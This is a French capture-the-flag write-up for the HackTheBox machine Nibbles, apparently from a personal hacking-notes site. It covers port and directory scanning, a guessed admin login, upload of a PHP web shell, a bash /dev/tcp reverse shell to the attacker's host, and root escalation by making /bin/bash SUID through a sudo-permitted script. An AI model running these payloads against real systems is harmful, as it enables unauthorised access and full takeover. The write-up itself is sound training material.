> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/nibbles-hackthebox-writeup.md).

# Compte rendu HackTheBox de Nibbles

{% embed url="<https://app.hackthebox.com/machines/121>" %}

{% hint style="warning" %}
**Compétences :**

* Exploitation abusive de Nibbleblog - Exécution de code à distance via téléversement de fichier
* Exploitation abusive du privilège Sudoers (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/33939a0a339c25bfe6b92a365e50af32571ba953" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/cc69dfdd124eee4dc8dd99774c0a702aa5b44165" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.75 -oG allPorts
```

<figure><img src="/files/08532f63cf64855591770d687d168163cd1715a3" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (22.80)

<figure><img src="/files/6831b4a6c30730e1f6bf65fc450ebf703ef4eab9" alt="" width="563"><figcaption></figcaption></figure>

Analyse des versions des ports avec Nmap :

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,80 10.10.10.75 -oN targeted
```

<figure><img src="/files/99190d56bec0d0e2e7b37c5696b5620eeb782267" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="/files/c68483ddbdc0001e61e83f871eb6279088a47501" alt=""><figcaption></figcaption></figure>

En inspectant le code source de la page web, nous remarquons la présence d'un `/nibbleblog` répertoire.

<figure><img src="/files/e2ee427ee540acc438f7e1114c2a04eb20b21ca2" alt=""><figcaption></figcaption></figure>

### Nibbles Blog - CMS

<figure><img src="/files/b8ef0800f4e553a4655b7c2a34dc1d2fc4b256ee" alt=""><figcaption></figcaption></figure>

Le site semble être un CMS appelé Nibbleblog. Nous allons utiliser `gobuster` pour rechercher d'autres répertoires :

```bash
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/937a495d3ac1284b43001facbbbd43b9e0a04bcf" alt=""><figcaption></figcaption></figure>

#### Recherche de fichiers PHP :

Lors de la recherche de fichiers PHP, nous trouvons un `admin.php` fichier qui semble correspondre à un panneau d'administration.

<figure><img src="/files/1e14aa2bdc5209f67b348b4c789547c93acd37c2" alt=""><figcaption></figcaption></figure>

#### Tentative de connexion avec les identifiants :

Nous essayons de nous connecter avec les identifiants suivants :

* **Utilisateur**: admin
* **Mot de passe**: nibbles

<figure><img src="/files/0f0af3da7d5a0961d0063c85205f3d6cb1b265a3" alt=""><figcaption></figcaption></figure>

Ça fonctionne et nous accédons à l'interface d'administration.

<figure><img src="/files/75a1b1c907a4aeccb4d57f3aa769bec8f7bea300" alt=""><figcaption></figcaption></figure>

## Vulnérabilité Nibbleblog - Téléversement de fichier

Nous découvrons une fonctionnalité permettant de téléverser des images :

<figure><img src="/files/9f958d65a88ba66d68693ad8b9a2021af4640b50" alt=""><figcaption></figcaption></figure>

Nous allons créer un `cmd.php` fichier avec le code suivant pour permettre l'exécution de commandes

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

Le fichier sera téléchargé dans le `contenu` répertoire, où nous trouvons un `privé` sous-dossier contenant des plugins.

<figure><img src="/files/55d03efde7fc861dfd8221e618a6df191d9d4bd8" alt=""><figcaption></figcaption></figure>

#### Exécution de commandes via téléversement de fichier :

Grâce au `cmd` paramètre, nous pouvons exécuter des commandes. Par exemple, nous utilisons l'URL suivante pour obtenir les informations d'ID système :

<pre class="language-bash"><code class="lang-bash"><strong>/image.php?cmd=id
</strong></code></pre>

<figure><img src="/files/386c870d320f00aa793239542fe75685f313e161" alt=""><figcaption></figcaption></figure>

Nous obtenons l'accès au serveur via un shell inversé. Nous écoutons sur notre machine sur le port 443 :

```bash
nc -nlvp 443
```

Ensuite, nous lançons le shell inversé sur la machine cible :

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"
```

<figure><img src="/files/c166816d05bf296d8ba20840a56f8509d67049ea" alt=""><figcaption></figcaption></figure>

#### Stabilisation du terminal :

Dans le terminal, nous effectuons les étapes suivantes pour stabiliser la session :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Drapeau user.txt :)

<figure><img src="/files/fafbcb90a37fabf618968b12d91a290ae7c13ee0" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges :

### Sudo - monitor.sh (fichier inexistant)

Nous découvrons une vulnérabilité liée à l'exécution de scripts avec des privilèges sudo.

<figure><img src="/files/ade560cf58992d5b2c840786b7b3626c4a656a7b" alt=""><figcaption></figcaption></figure>

Le `monitor.sh` le fichier semble introuvable, mais nous pouvons créer un script qui s'exécutera en tant que root. Nous commençons par créer les répertoires nécessaires :

```bash
cd /home/nibbler
mkdir personal
cd !$
mkdir stuff
cd !$
```

Nous plaçons le `monitor.sh` fichier à cet endroit avec le contenu suivant :

```bash
chmod u+s /bin/bash
```

Nous exécutons ensuite le script avec des privilèges sudo :

```bash
sudo /home/nibbler/personal/stuff/monitor.sh
```

Cela vous permet de modifier les permissions de `/bin/bash` en ajoutant le bit SUID. Nous exécutons ensuite la commande suivante pour obtenir un shell avec des privilèges root :

```bash
bash -p
```

<figure><img src="/files/3c9b9dda2b766c5d1c95432dc63cb1a2a8819302" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/274d54ef7b5b7e8a9dcd41770c8eb434228d9d2a" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/07815fd7b8c4153e9298db62b8d94897f507d85b" alt="" width="525"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-easy/nibbles-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
